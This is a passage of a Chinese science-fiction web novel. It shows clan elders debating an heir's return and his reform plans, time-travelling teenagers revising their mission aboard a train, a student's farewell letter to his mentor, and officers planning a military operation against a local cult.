多少姐弟的母亲阙姝韫拍手唤来侍者为在座议事的人续上温茶,她是族中第三席长老,时年二百八十岁,接近中老年阶段才诞下一双儿女却并不溺爱,俩姐弟平日受的棍棒教育不少。 第五席长老阙亭芳不急不慢地用茶杯盖轻碾边缘,笑眯眯接上方才被打断的话题:“多多年幼顽皮倒也正常,少甯长上些许年岁怎么也跟着瞎胡闹,不过是群泼猴竟如此失态,家里请的夫子是否轻怠了小辈的教养。” 他自持矜贵,轻啄碗口便放下茶盏,向后微靠霜璃木制的椅背,半开玩笑半试探:“倒是呼星那小子,几十年未见都把仪态忘得一干二净,不过我午时远远的观他一面,虽举止粗鲁却自成迫人气势,此番归来出乎我等所料,现下主阁紧闭,不知族长做何安排?” 阙姝韫喝茶,面上看不出喜怒:“大伯只道叙叙家常。” 座上皆是在族中占有几份话语权的成员,此刻没有人跳出来打破僵持,彼此也不愿过多搭理,一片表面平静中,后山树林多少姐弟与猴群搏斗的动静异常滑稽。 天虹星渐渐下沉,云层之上水气骤然遇冷,雪夜降临。 恒温系统无声运作,主阁内丝毫不受室外温度影响,书桌上摆放数本翻开的泛黄相册,后方坐着年迈的族长阙应元,时年三百六十岁的他已是踏上人生末途,身体机能与器质性的衰败让他无法再次通过手术恢复正常视力,不得不戴上古早年代的老花镜。 “时候不早,我该走了。”阙呼星将相册推回爷爷面前,他脚边放着只鼓鼓囊囊的仿真皮包,里面装满奶奶闻钰硬塞进去的自制干货,一根火腿蹄子用麻绳挂上五串果干支楞在系带外,白底黑花的老猫敞开肚皮躺在底下,正四爪朝天地抓挠。 见孙子想跑,老头剧烈咳嗽引得闻钰夫人从内间推门而出,她察觉到老头子的暗示,连忙道:“乖孙今晚留下吧,大李知道你回来了特别高兴,一大早就开始张罗家宴,都是你爱吃的菜,我让人给你铺床。” 阙呼星到底还是没将拒绝说出,如非不得不回来处理父母的资产,或许往后百年也不会踏入这里一步,他太久没回银翎山,难得与亲人相处差点猛男落泪,又恼于当年被放逐,自不会主动留下等人赶他,但奶奶亲自开口,他人来都来了,住一晚好像也不算难事。 闻钰夫人平日心里总惦记着女儿唯一留下的血脉,时不时寄许多大包小包的东西,只不过孙子任务繁忙行踪不定,她只好寄到黎明哨的固定地址,让那位十夜军团长代为保管。 阙呼星躬身方便老夫人挽住他的臂弯,阙应元在书桌前看看他们的背影,忽觉时光倒回了一百多年,阙巽微与闻钰母女俩也如这般相互搀扶。 曾经没能保下孙子让他抱憾至今,族长之位成就他也束缚他,当他手握实权让其重归家族时,却屡次被拒,临老终于等到阙呼星回来,久违的感受到真正的亲情,他无比希望这段时光能定格为永恒。 “阿星。”他下定决心,开口喊住正准备出门的两人。 阙呼星回头,目露疑惑,老太太捏了捏他骨节分明的手。 阙应元步履平稳地来到他身边,郑重问道:“氏族名下的集团改制不是易事,哪怕有我的同意,其他长老也未必会实际履行,你不是不知道他们是什么样的人。更何况你要在主星域外的行星设立终身学校的教育内容涉及族内专利,还有开发什么实验工厂和星战游戏,竟然要公开阙氏装甲数据和战斗记录,这等同于白送产业机密给竞争对手,刚才我谈到家族利益至上,你就同小时候一样在那发呆,多少历史教训得出一荣俱荣,一损俱损的道理,你应该知晓。” “那,为什么要收回股权和资产,去做自己和家里吃亏的事?” ‘我高兴’ 阙呼星咽下屡试不爽噎人的话语,他明白爷爷是认真了,于是老实答题:“家里生产资料虽是来源于先祖前辈的积累,可获取过程非寥寥几位姓阙的人可实现,没有资本并不影响人们的生存,但时至今日,历史无数雨打风吹去,没有时代能证明资本可以脱离大众而取得永恒的成功,原应用于公共资源的部分却因氏族力量变为家中藏品,打破资源划分的平衡,并非遵循应有的发展规则。” 他安慰老夫人不要着急,神色未变:“我知道主星域各家历来都严守知识产权与资产数据,如果有人打破垄断的规则,极大可能发生你、我乃至将将开蒙的稚儿都能预想到的后果——阙家的蛋糕一定会被其他氏族、资本围猎分食,从此走下坡路。” “明知不妥还要去做?”阙应元稍有动怒,他压下火气努力想让此前温馨的气氛重归:“要报复你伯父他们无需这些手段,过会我替你做主。” 阙呼星摇头,提出他的理由:“可我看见另一种结局,通过改制断开与其他氏族之间牵制彼此的链接,开办实验工厂公开生产资料可催生民间科技发展,且专利本源在阙家,依照现行法律,于此基础上再生的知识产权由阙家与研发人员按占比份额共有,既不会彻底丧失权利,也促进技术改良,还可为当地提供就业岗位,改善区域内经济。 至于星战游戏,是我的一点个人爱好,我想看清有多少人才是受限于生理条件不足、家境难以支持、资本学阀垄断等负因素而无法进入理想的专业领域,有多少普通人想学习而没有机会......我会为他们开通特殊教育与选拔的渠道,不限年龄与身份,用不了很久,我们便不再惧怕别的氏族把阙家踩在脚底,时代的浪潮会先将他们吞噬。” 老夫人出身平常人家, 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随即出来的是一位气质肃然的青年人,浓墨重彩的五官与深银灰的发色眼眸,他的样貌特征跟两侧墙壁挂有的阙氏主脉画像完全吻合,众人的视线从其面容移至被猴王小心翼翼牵住的手掌,无名指上赫然套着象征代行家主的戒指。 在主星域氏族里,几乎只有下一任接班人才有资格佩戴这枚材质如流月般散发清辉的绮烬晶石戒指,代行人基本享有除最终签字权外与正式家主相同的权利,旁人也须以相应礼节待之。 端坐主阁门前的姝韫最先发觉这惊人的细节,她稍作思索,拍醒两个不争气的东西,在她的带领下,在场的第三席支脉们齐刷刷对家主夫妇致礼,以微妙的站位占据最近一侧。 “罐罐,上次寄回来的乳铁蛋白补充剂有好好喝吗?” 阙呼星时隔数十年再次出现在阙家族人的面前,他视一众长辈于无物,第一时间竟是问候一只傻乐猴,此举自然引起旁人不满,但没人愿意先触灾星霉头,靠后的同辈你看我我看你,都选择默不作声。 “你长高了,呼星。” 首先站出来的是第六席长老的胞弟,他没有质问戒指的事情,转而打起亲情牌:“当年你跟殊钥、回鹴他们几个在山里闹腾,被微微拎回来时才到我胸口,一别多年,你都长得比我高了。” 话音刚落,六席一脉纷纷附和,七嘴八舌拉家常,好似游子离家老大归,不管熟悉或不熟悉,先将煽情的氛围烘托起来。 阙呼星这才抬眼:“可我离家时已经比叔叔你高上不少,怎么,难道当年在座的竟无一人来送我?也不是不能理解,想必大家只能记住自己愿意想起的事。” 他被爷爷胳膊肘捅了两下,勉强招呼道:“诸位,好久不见。” 罐罐同时背过身,指了指浑圆的屁股,毫不掩饰地发出刺耳讥讽。 “战争即将打响。”多多贴在少甯耳边窃笑,收到母亲怒视,连忙退到边上。 阙亭芳端坐,安放的小臂稍稍举起,示意己方一脉稍安勿躁:“既然戒指给了阿星,那我也信任老爷子这份选择。” 不远处第四席阵营低声交谈,领头长老及不少族人对盟友向“外人”示好表示莫名其妙。 “你什么意思,阙亭芳,他早就被除名了!”另有几席选出代表,愤然将矛头指向临阵倒戈的狡诈狐狸。 阙氏九席貌合神离的程度彼此间都心知肚明,在巨大的利益面前,成员再怎么散装也不得缔结为小团体谋求合作共赢,只不过自家人坑起自家人来更狠,第五席这通先发“投诚”将其他未作表态或持反对立场的脉系陷于尴尬境地。 第七席反应迅速,长老座下立即有人嚷道:“怎么就被除名了?请搞清楚点,当初不过暂时分家考核,现在家主有意让他回来,说明对他的观察已经结束,过往表现足够证明他配得上代行者的殊荣,有些牛鬼蛇神赶紧歇了心思吧!” “我建议启动长老会的投票程序,由成年族人投不记名票,共同决定他的资格。”第四席走发表言论的是位学者样貌的白袍男士,后侧贵妃椅上坐着一位佩戴灰白底色的绮烬晶石戒圈的长者,正冷冷地凝视阙呼星。 阙亭芳暗观局势,目光在几位长老和亲信面上一一掠过,心中有了判断:“那便择日投票吧,姝韫姐,你说呢?” 女人未置可否,她拦住想发表高见的小儿子,望向族长,姐姐少甯见母亲如此,板起擦拭素净的小脸:“舅舅,是否投票决议还是要请家主爷爷来定。” 阙亭芳眉眼弯弯:“自然。” 随后悠然撩袍起身,绸缎般的发丝从背部蜿蜒而下,他凑近话题中心:“微微曾托给我两件事,眼下正是兑现的时候,我这做舅舅的理应帮衬一把。”,他身量不高,转首间鼻尖恰好扫过阙呼星的肩头,温声道:“不过,你也该懂事了。” 阙呼星仿好似才从天外神游归来,丝毫不在意场上已然交锋几轮,他别过身拉远便宜舅舅的距离,惊异地环视一圈:“有没有可能,我并不需要你们的认可?诸位介意也好,无意也罢,都不会影响我手中的资产份额,更不能左右我的决定。” 暖室陷入凝滞,半分钟前还吵嚷的人们同时静默,投来一种带有审视、评估、思索或更多内涵的复杂眼神,阙呼星知道,自己的筹码短时间可以威慑族人,但绝非长久之计,便不多做解释:“演戏到此为止了。” 他虽不擅此道,但精于排兵布阵,他会请懂行的人陪这帮人玩一玩。 9. 世界节点 前往旦加法音的蒸汽式火车从卫谷山脉高速而下,窗外群山峻石不断倒退,化作虚影消散在深邃天幕下,呼啸声过后只余轨道喑哑作响,渐渐露出平坦无际的原野。 岑山君饶有兴趣地调节仿生眼,几秒后,一张速成像相片从他手掌上随火车颠簸节奏漂浮晃荡的小黑球中吐出。 靠走道的座位上蜷缩着一个黑皮肤男孩,出于职业敏感性,他刚上车时便尝试分析这位邻客的国籍,没有家人陪同,男孩的小脑袋深埋膝盖间,无法看出有效特征。 “先生,可以给我也康康吗?” 岑山君将相纸推去,男孩终于抬起头颅,对他咧嘴露出笑容,标准的华夏裔样貌,有些南部城市口音,不知因何原因肤色黝黑,昏暗灯光里一口大白牙相当刺眼,当他目光接触到画面时,漆黑的瞳仁急剧收缩。 “怎么了?”岑山君态度温和,没有催促男孩归还紧捏住的相片。 男孩表情僵硬在脸上,几息过后他扣过相纸,颤颤巍巍地递给原主,道谢后脑袋一歪好似睡过去。 岑山君不再眺望远方,他稍举照片,任由暗淡的灯光被画面吞噬,相纸之上本该是一副月下田园、稻谷滴露的景象,却赫然呈现呼之欲出的泼天血色,难以具象化统计的如阴影般的焦黑躯干伫立遍野,它们细长削瘦,仿佛燃尽的火柴棍,弯腰弓背插入泥土,明明看不清面目却无端生出狰狞,而窗外云淡风轻,看似饱满的黄金稻穗绵延至视野尽头,依旧田园风光。 他将照片郑重地收进小黑球,再挥手,掌中空无一物,十指相扣握于腿上,身体放松倚靠,苍白面色逐渐红润起来,闭目沉浸于观测的满足感中。 男孩见状悄声溜达出客厢,把自己锁进公共卫生间,吧嗒两下卸掉夹层隔板,欲哭无泪地嚷嚷:“脑子不灵光我认,你们俩平时坑我干脏活累活就算了,怎么这回送命题也要推我去答!” 暗室内别有洞天,不知何时偷造出的据点中藏匿着一个与他年龄相仿的女孩,还有一只乌鸦。 乌鸦被同伴唤作小桑,面戴与身形不符的大号黑框立面光镜,让两侧的鸟眼可以同时聚焦前方事物,她蹲踞在暖洋洋的地毯上,周身散落些零碎的五金工具、电子屏幕,尖嘴卸下一块机器人胸腔:“东西到手了?” “没有!” 男孩忍住想踢开脚边关节四肢的冲动,他不想承担惹怒技术宅的后果,尽管她暂时变成一只鸟,门板自动填平,他跨过障碍物朝内走,一屁股跌下再也不肯动。 另一个女孩五感敏锐,早在张笑龙仓皇无措起身离开时就察觉到好友的不堪大用,她剃了光头,正从拟态随行包中挑选假发往脑袋上戴,面前无禁忌钥匙的控制屏有规律的上下闪烁,映出她眼眸中的猩红:“不怪你,岑叔年轻时可比与我们认识的那位要难搞很多,行动失败也是不出意料的事。” 小桑甩头抛给他袋营养剂:“休息半小时,准备下个计划。” 张笑龙撕咬包装袋,可食用材料在他牙齿下粉碎,被口腔中的酶分解成与淀粉相似的物质:“你们甚至不问我遭遇了什么!”,随后呸呸吐掉残渣,“小冰,你确定不问问?” 女孩扶正假发,杂乱得看起来像刚睡醒:“替我传个话,那什么计划老子不干。” “哦哦。”张笑龙腰腿并用挪动屁股,对乌鸦摇头,“小冰说她不干了。” 乌鸦背对二人:“请你转达,我们已经错过了一个时间点,没有机会再给她单独行动。” 张笑龙再度挪回原地:“小桑让你别任性。” 他忽而愣了两秒,暴躁搓动短而卷曲的发茬:“你俩吵架为啥要我夹中间?” 小桑装好心脏动力源,嫩黄鸟爪摁住开关,半截机器人挣脱她的束缚:“你问她。” 张笑龙立刻扭头看向小冰。 后者抬脚对准朝她扭动来的机器人碾下:“你跟岑老三接触的一小段时间里,有人还对半个月前时空跃迁的事耿耿于怀。” “有人偷偷半路加入,擅自行动打乱流程,让天婴姐姐提前抓住慧神的叛动者,篡改了起点时间线的原定事件。” 还能心平气和解释原因,小桑没真动怒。 “有人用情报要挟我,让我昧着良心引走发现英爻祭司逃狱的瑞上校,怎么,只准你妈那边好收场,我就不得擅~自~行~动~” 嗯,小冰阴阳怪气的水平随岑叔。 她们每吵一句,张笑龙便在后面点评一句,不过没敢说出口。 ...... 热心听众中缓过神,忍不住插嘴:“二位能听我说一句吗?” 一人一鸟同时盯向他。 火车缓缓停靠在站台,厕所外脚步纷杂,震动通过木制地板传递到三人身下,乘客相互拥挤着往下涌,滑稽到一时之间无人下得了车,阵阵不同星球口音的谩骂从门缝传来。 男孩故作镇定道:“咱来的时候不是说好,彼岸的我们不对非修正内容的起点事件进行额外干涉,我怎么感觉这个约定在你们俩身上是有弹性的?” 天知道他内心有多爽快,终于轮到他说教这两位大神了。 乌鸦突然扇动两下翅膀:“小龙,我们不借岑叔的小黑屋了。” 张笑龙:“啊?”那他费半天力是干什么去了。 “你提醒了一点,我们来自时间的彼岸。”小冰稍微冷静,将方才的不耐藏好,“三天前,我们帮阿什解决了原本会发生的流民卧轨事件,让他提前到达旦加法音,早在那一刻,旦加法音剧情线的走向已经被改变了。” 小桑接下:“ILLUSION给出的任务本就是尽可能挽救前夜指挥官还有不周山,但不能变动历史进程的大方向。跃迁前我们利用全息模拟进行了数千次推演,尝试通过排列组合记载中存在的各类因素计算行动成功率,可不周山覆灭过程中尚未查明的条件过多,无法确定具体哪些相结合能完成最终的救援目标,轻易改动极大可能会影响彼岸的世界。” “所以我们预测,如果趁悬桥计划未出征前,从几位决定性人物入手,将可以冻结魂灵的西山王石带给不周山主脑,以非实体形式保存船员的意识,未来再将散落在航道上的睡眠舱分批打捞带回主星域,完成原定目标的可能性将会比直接加入航行时间点的高很多。” 张笑龙有些不清不楚:“你们说的这些我都懂,按计划走到这一步,就差岑叔的小黑屋便能”借用”阿什的王石,而且出发前我们那的他也同意了,为啥现在又不需要了?” 小桑象征性用尖喙啄了啄背羽:“前面说过,阿什的线已经改变了。” 她推出由像素点组成的屏幕,在上面敲击几下,一副行动轨迹示意图显示在小团体眼前:“正因为阿什的提前到来,插图哥才会放心在稻城战前抽空回主家,这是原先时间线上没有发生过的。” 小冰从领口拽出一条项链,神情复杂,黑麻细绳端部拴着的赫然是月白色绮烬晶石,虽只有半块也难掩华彩,在掌心发出莹莹光辉:“吊坠上的瑕疵不见了。” 这是她从记事起便佩戴的信物,坠面遍布大小黑色坑痕十余道,似乎经历过枪械打击,见过的亲友无不惋惜,直至加入”敕令”,星盗团的人才告知其来源。 “按照起点世界的时间线,阿什在路上被流民耽搁,插图哥无法从旦加法音抽身,阙氏族长作客瑞德拉科小行星演讲时遇袭,项链上的石头为他挡下致命伤,现在弹坑消失了,为什么还是只有半块?它极大可能并非遇袭时裂开,而是后来被人为切割。” “根据我们在彼岸获取的原事件走向,阙氏族长的伴侣将损坏的石头交予插图哥,随着他参与悬桥计划不知所踪,兜兜转转后其中的半块戴在了小冰的脖子上,我想,不管插图哥是以哪种方式得到它,它都会被原主人自己一分为二。” 小桑一边分析一边调出相关人物行迹:“另外,插图哥回老家后,原本前往赫比卢斯城参加教派暴动公诉案的岑叔改变了目的地,你们看,他票上的终点虽是赫比卢斯,可现在,他应该是要在门口排队下车。” 张笑龙将鸟眼探控仪转向自己,岑山君出现在画面中,他喜爱的骆色风衣像是腌久的咸菜皱巴巴挂身上,正提着手提箱穿过走道,背靠车厢壁等待前方人群挤完,整个人散发着一种“我能等,少挤我”的气息。 他挠挠头:“好嘛,小冰身世线索加一,不过这又跟我们的行动有什么联系?” “在原时间线,岑叔因感染赫比卢斯的瘟疫而失去右腿,如今他去稻城,未来式的他自然不会饱受痛苦。”小冰若有所思。 “也算是好事一件了。”张笑龙如释重负,至少没白来,拍拍胸脯很讲义气:“如果事后被ILLUSION追究,黑锅我来背,你俩放心带我飞。” 星盗团操练时,阿什打趣问过“将来步入老年期,谁给他、老大还有岑老三养老”,小冰毫不犹豫站在干爹身后,小桑心想阿什迟早被老师打烂嘴,还得有人投喂,默默站到他的背后,岑老三被她们毫不犹豫丢给了张笑龙。 “岑叔告诉过我,插图哥曾在悬桥出征前联系过他,发去阙家事务相关的委托,只不过等他收到时已经丧失了正常行动能力,长老会以此为由拒全部履行,他的团队仅能够代为完成其中一部分事项。” 在场两人一鸟皆是偏远星球公平教育的受益者,他们都明白,仅仅部分的变革就能使无数个体改变命运,如果没有发生一系列的意外,毋庸置疑,这是一条能够创造奇迹的道路。 或许冥冥之中真有命运的指引,让他们回到了起点,将灭世的轨迹修正。 “既然剧情改变了,说不定岑叔是收到了插图哥的消息才来到稻城的。”张笑龙大胆向小桑推测,“插图哥家中安好心态不崩,你老妈的事没有暴露,辅助有阿什,完整版岑叔占个法师位,再加上我们联络的小为将军打掩护,稻城战局岂不是黄金打青铜!” 他有些兴奋,试问哪位机战系学员不对史上十佳之一的城邦机甲地面战感兴趣,何况他即将亲身参与其中,甚至是作为改变局势的操控者。 随后他忽然想起了什么,啊了一声:“没有小黑屋,我们怎么跟阿什做交易?” 女孩背上袖珍弹药板拉开门,乌鸦从机器人碎片中叼起动力源,犹豫片刻后还是扇扇翅膀飞上她肩膀,扭头让呆站原地的张笑龙带着行李跟上。 “我们会用一场比课本记载得更为炫丽的胜利作为赌注。” 小团体重新恢复往日并肩作战的氛围,一如荒星流浪时。 待旅客们散完,岑山君不急不慢地找起了酒店,然而多处询问屡遭拒绝,他相信这片城区应当是没有合适的落脚点,而并非因他没有付出三个点的小费。 如若是在平时,不是没游手好闲的流氓想将这看起来细皮嫩肉的眼镜仔带到黑店狠宰一笔,然而近几日他们间流传着几宗“秘密”,这群人好似是激发了动物遭遇危险前的直觉,收敛生息躲在暗处,恶狼般贪婪的眼神流离在过往行人间。 “至少没有被骗。” 被放过的待宰羔羊站在巷口,对此地作出“民风淳朴”的评价。 他倒是不内耗,给接头人发去求收留的消息后,随意溜达到边缘处捡了块还算完整的石凳坐下,数道黑影在几秒内构成小黑球,膨胀两下吐出张信纸,他捞起开始书写信件。 已是深夜,小摊贩们的生意络绎不绝,特色地沟小吃前站满不少夜班打工人,锅气伴随油类煎炸的味道蒸腾而上,萦绕街头巷尾,广场没人留意到行为格格不入的青年人,他就像一颗水珠融入了 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来者不是第一次被人当面提这种要求,却从未见过如此直接的,刚想像往常一样拒绝三连,又觉得应该先给他道个歉,刚才落座时确实没注意到包装袋被扎漏了个洞,见人已然起身,双手空空一副等着自己的样子,认命提起大堆刚买的食物,尴尬道: “不好意思!我带你去换条裤子。” 他在旦加法音没有房产,不过却有一位躲着他的挚友。 那位挚友为他租下了隔壁空室,湛渊内部无要事时,他偶尔会在此落脚,既能防止监管对象闲暇期又被投诉,也好堵住跨战区监督人的嘴。 - 物主星·流曲城 这颗星球公转速度较谷神星而言慢上些许,正值炎热的暑期,曙之心游骑高等学院依然有大批学员留校参与社团课程,比起平日严谨考察纪律作风,现在学院倒像个生态园,青春期的少年们如同横冲直撞的野生动物穿梭在各条通道间,此时他们跃雀的身影遍布整个学院城,除了法学系的地盘。 都听闻那里最年轻的老师丢了,外系同学们不约而同很有默契地选择绕路,以免触霉头。 伴随传真仪轻微嗡响,办公区静谧的走廊突然鲜活起来,各办公室不约而同传来悬浮椅轨滑动的动静,门口探出几颗脑袋,他们眼巴巴望着大理石地板上摩擦踱步刷考评步数的小老头。 小老头也不馋担心师侄下落的他们,挥手让“载物”AI读出关门弟子的信件。 “亲爱的导师: 见字如见面,当看到这封信时,您应该结束了当天的课外教学,正在办公室刷步数,在您为我的不告而别大动肝火之前,有一些事情想要告知您,我放弃去往赫比卢斯矿区参加陪审,在大灭绝重灾区旦加法音下了车。 很抱歉,学生失信于巡回庭,我想此时您的怒火大概烧得更旺了,好吧,真实原因是我收到了一份有意思的工作邀请,您总说人的一生中会出现命运的转折点,当看到消息时,我突然失去一切外界的声音,只能感受到心脏跳动愈加强烈,有种冲动在脑海中呐喊,这绝对是属于我的人生仅有一次的机遇,因此我改道而行。 几曾何时,我的梦境里拥有一片健康自然循环的森林,可随着年岁渐长,世界为我展现的时而为地狱图景,时而又坍缩成一棵即将枯萎的植物,我看见它上方的枝叶葱郁蓬勃,深埋土壤的根系却溃败生蛆。有段时间闭上眼后,我像只气球漂浮至云层上,朦胧间微风灌入耳中,它告诉我枝叶表达出的生命力是根系的成果,根系与枝叶是一个整体,我连声称赞,理应如此;随后又有几股气流冒出来,将我撵得上下翻滚,一会强调之所以枝叶会不满足于根系输送的养分,都是因为根系孱弱跟不上生长,一会又说根系腐烂会从底部影响枝叶的繁茂,应该对根系采取措施。长期下来,大家都担心我精神上出现问题,我也觉得自己是个陷入狂想的疯子,但是那份邀请让我看到另一种可能——修剪枝叶,让根系充分吸收营养。 我已下定决心踏出花园,哪怕门外是贫瘠的干涸枯地,是无边际的嶙峋石漠......您不必为我担心(划掉),您还是担心下吧,万一惹出什么事来我会报出您的名号。 ——敬爱您的学生岑山君” 董重山眼前泛起阵阵黑雾,差点气血翻涌昏撅过去,“载物”AI适时化出一双手将他扶稳。听完来信内容,几位年长的教师嘴中念叨“年轻人是冲动了点”、“小虎是不懂事,在座各位没有责任吗?”、“这小子难得有感兴趣的事,出去闯闯也好。” 随后迅速关起门摸鱼的摸鱼,备课的备课。 他怒道:“都给你们惯的!” - 大活人失踪的第二个小时,阿什列卡决定氪金请来萨普一族帮忙找人。小伙子们将整个广场掀开也没能找到被赋予“一等奖”的先生,不甘心地聚集在一起休息片刻。 “我们转遍了集市也没找到人啊老板。”精神小伙罗尼神情夸张,表示对失去三百信用点的无奈,他们约一个半小时前就问到“一等奖”曾在此驻足许久,小摊贩们对那位光问不给买的客人有点印象但不深,每日有上百名同他一样的吝啬鬼光顾集市,总不能因为其中某个吝啬鬼相貌出挑些就把人牢记,他们又不是地下黑市的肉铺或是教会的人贩子。 阿什列卡对外总是维持一份从容体面的姿态,得此噩耗当下便有点坐立难安,他吸气闭目片刻,还是有种火烧眉毛的体感,师哥交代要接的人没了踪影,这里不说老人、小孩与其他弱势群体,就连成年男性稍不注意也会遭遇黑手。 距离神祭节仅有六天,玄烛驻地将趁此时段拔除睦月神教,最迟后日,地面备勤队就要开始组织非武装居民暂移至防空洞,这大兄弟究竟去哪了? 10. 风向塔 离华夏主星运行轨道相对较近的地方存在两颗年轻恒星,受公转的影响,正午时天虹星升至最高点,天空之上便会发生三星竖列的现象。 银翎山麓脚下扎根着几片生活区,饭点后,这些居民隐约听到引擎的轰鸣声,抬首之处被刻下一道直冲天虹的痕迹,好似利剑般将这三轮日影贯穿,轨迹的起点正来自早已失去触及天空能力的老邻居,他们不约而同的留影发往社交平台,再结合主星域近日的风声动向,引发大批人的关注。 列穹计划-燧木号·魁舱 任外界怎么窥测,也无法将这艘看起来小巧的民用飞船与名舰“燧木”相联系,一只佩戴减压轻铠的手摁住频繁闪动的守望窗口,拳头大小的拟态形象把脸贴复合玻璃上,系统贴心的给祂添上了大哭大闹的特效,这只小人是燧木号的链接核心,不过是拆解版本,仅具备主星域间的跃迁功能,真正装载主脑的剩余机体还锁在军部战备库中。 阙呼星这趟归家收获颇满,他取走了当年藏匿在母亲暗室中的燧木,阙家的机械师将位于头部的临时机舱装置在他的办公飞船上,阙呼星此时正有些后悔提前将祂唤醒,原因无它,辛苦打工买来的二手舰受到最高序精神源的压制,好好的正常AI脑变成了燧木的形状。 “*%&……¥&……#*——!!!” 解决完恼人的小宠物,阙呼星毫不留情地坐回控制室,比起机械化AI控制,他更习惯于手动操作模式,几秒后,被燧木无声控诉的恶人愉快地调整好航向,朝旦加法音驶去。 途中阙呼星接到来自黎明哨的指令,他安排好自家营区的天际战甲尖刀连与人造卫星“琼奚γ”接轨,而早已待命的“引烟α”、“阵泉β”两颗卫星接收到表姊妹完成对接的消息后立即启动金御程序,几乎须臾之间,来自华夏的监测信号精准覆盖整座城池,无形地将区域内地面动态尽收掌中。 他正思索后续作战步骤,推门入目便是师弟悄然窝在沙发上,垂头丧气,似乎整个人与周边环境不在同个图层,挂着副灰蒙蒙的表情,指尖搭在腕部植入纽,有一搭没一搭的敲击,不知是在网路中骚扰哪位倒霉蛋。 阙呼星见他两眼发直沉默不语,顿时有些不解,不等他面露疑惑,卧室传来熟悉的呼唤:“阿星,老大找你。” 他拍拍学弟肩膀,循声而去,室内模拟影像系统完全开启,以亿为计的细微导体组成的斑块状合成砖褪去普通楼体呈色,随着他的步伐逐渐点亮出阵阵红黑交织的荧光,再往内,平日清贫如洗的寒掺装修设施全然不见,取代而之的是一间小型战略指挥室。 圆卵形的指挥室中央放置着一架控制台,中空的部分被光拟数据填充,台面指令灯共计两百余盏,每朵灯点都对应旦加法音相应的街区或是暗道,已有三分之二接连闪烁,方才发声的黑发男人背对坐着,在他对面是一道立体投影,正巧与阙呼星打了个照面,黑洞般的双眸饱含威严,在来者踏入模拟领域内的那一刻便锁定目标。 “金御已经启动,尖刀战甲目前悬停在逃逸层上方两百公里的临时港,随时待命。”阙呼星行了个简单的军礼,绕过堆积的杂物,脱下外套随手扔洗衣桶里,挨着李稻青而坐,向上司报备自家营的备战情况。 投影中的人靠立办公室落地窗边,他颈部肌肉发达,肩膀宽阔,衬得墨色常服利落挺拔,如山峰般坚实有力的前胸佩戴三枚分别象征少将、军团长以及共和会成员的勋章。 天光穿透巨大的水晶矿石玻璃,外部高空悬挂两汪皎白星轮,一颗稍浅,另一颗则呈金黄光晕,是黎明哨一带白天特殊的双日同辉,恒星光影倾洒在他饱满的天庭上,眉长过目,下颚刚毅而有力,浑身气质不怒自威,听完得力干将的汇报开口道:“不错,本次七日计划由你们负责保障通讯平台连接,以及第三阶段后的扫尾,在前期战斗未结束前,切勿让战甲直接出现在居民眼前。” 他顿了顿,放眼在室内环顾一圈:“另外,散会后把内务搞好,别让我再看到权限卡插在通风板上,毕竟不在黎明哨,我无意对你们的生活环境严抓不放,但我希望大家可以做到最基本的居住整洁。” 阙呼星顺手捣了身旁闷笑的李稻青两拳,后者抵挡失败,“噗嗤”一声打断了上司的说教。 男人影像的背后另有一位被派来协助事务处理的少尉,在一七营营长邹且麾下干满十年,正是晋升的阶段,和李稻青算是熟人,他虽有不解,却还是调出部署纲领,激活关于六一营的命令:“老大,睦月神教就算跟本地黑市势力是一条线上的蚂蚱,可他们只是拥有热武器的来源渠道,却没法自主发展高精尖行业,用的都是些老旧玩意,在战备上比我们差得不是一丁点,有尖刀战甲助阵岂不是事半功倍?” 六一营首次正面参与战役竟是干后勤的活,着实有些大材小用,也不利于建立玄烛近四十年来首个新营区的初形象。 李稻青憋红脸尚不能语,他仍在检查驻扎点是否存在遗漏,阙呼星倒没意见:“大灭绝事件的阴霾尚未根除,这里的普通居民对热武器,尤其是机甲与高能量炮类,存在难以消散的恐惧,他们将军事化机械称为”降灾的使者”,所以我们在早前商议过,华夏应当以和平的姿态出现在他们面前。” “六一营正面作战确实能物理根除邪教,可在另种层面上,睦月神已经被植入大部分当地人的精神信仰,激化原住民与驻兵的关系并非好事,至少表面上我们得维持善武但不穷兵黩武的态度。” 李稻青埋头捏了捏鼻根,补充:“此举亦在向地头蛇势力申明,哪怕是在科技水平相当的情况下,华夏也能将他们驱逐,同时也给予愿意加入城区建设的人们一个信号:在非必要战时,我们绝不率先动用大规模杀伤性武力。” 少尉闻言颔首以示明白,他会在汇报里对此详细解释,以免生性好斗的老营长冲动行事,哪天亲自找这位新营长的麻烦。 十夜无难收回黏在战略板面的视线,开口道:“依旧由二八营打地面战头阵,由阿星再派出两支守卫队、一支爆破连,守卫队负责保障后勤部门撤离被睦月教困住的人群,爆破连直接同二八营参与到地下黑市的攻破阶段,你们两个营区都能轻松些。” 阙呼星相信术业有专攻,在地面战役上李稻青比他行,自己无法在前期正面参与作战,有心让自家的士兵可以多些历练机会,特别是跟随知根知底的将官,于是把老底也揭开了些许,“我还练了几支特别行动队,军部考核中的数据仅在团里歼灭连之下,让那帮姑娘小伙子们跟着你涨涨实战见识?” 李稻青开玩笑反问:“这么好的刀跟着我是要见血的,你不亲自做开刃的人?” “功成不必在我,你放心去做就是了。”他明白好友的顾虑,当十夜无难的面作出保证。 见阙呼星这么大方,团长也没反对,李稻青不再客气地要下排名居中的两支队伍,唤来临时副官去点兵。 两人达成一致,十夜无难不再多说,正打算退出群星会议室,背身瞬间想起他们那还住着位令人头疼的小弟,深叹自己是操不完的心,叮嘱道:“你俩都是忙起来不顾腚的,行动前先把阿什带到安全的地方,这小子太久没参与军事行动,保护好他。” 李稻青连忙点头答应,他心道能管住这位祖宗的也只有老大了,靠他跟阙呼星忙活半天是白废口舌。 滴滴—— 两声提示音从角落洗衣桶里传来,阙呼星捡起工装外套翻出外置传呼带,被李稻青无情嘲笑邋遢,他边弯腰边转过脑袋,对着咧嘴的人做挥拳手势。 不过一会,阙呼星浓眉皱起,好似出鞘的剑:“天际发来情报,五分钟前引烟α捕捉到有未知属地的斥候舰正接近谷神星范围,型号非南冕战区常用制型,另有十余支归属不同的舰队私自建立跨域跃迁点,目前已知它们藏匿于坐标编号为136、153的陨石带附近,我们的人分别发出查询与驱逐信号,均未收到回应,直至现在也未曾与我们达成通讯链接。” 李稻青收敛笑意,指尖轻叩桌台:“装死?不过不出意外,这个节点没人来分一杯羹就不符合他们的尿性了,也可能是作壁上观,等到最后来站我们便宜。” 乌灵辉分析道:“也有可能是睦月神的人搬来的救兵?” 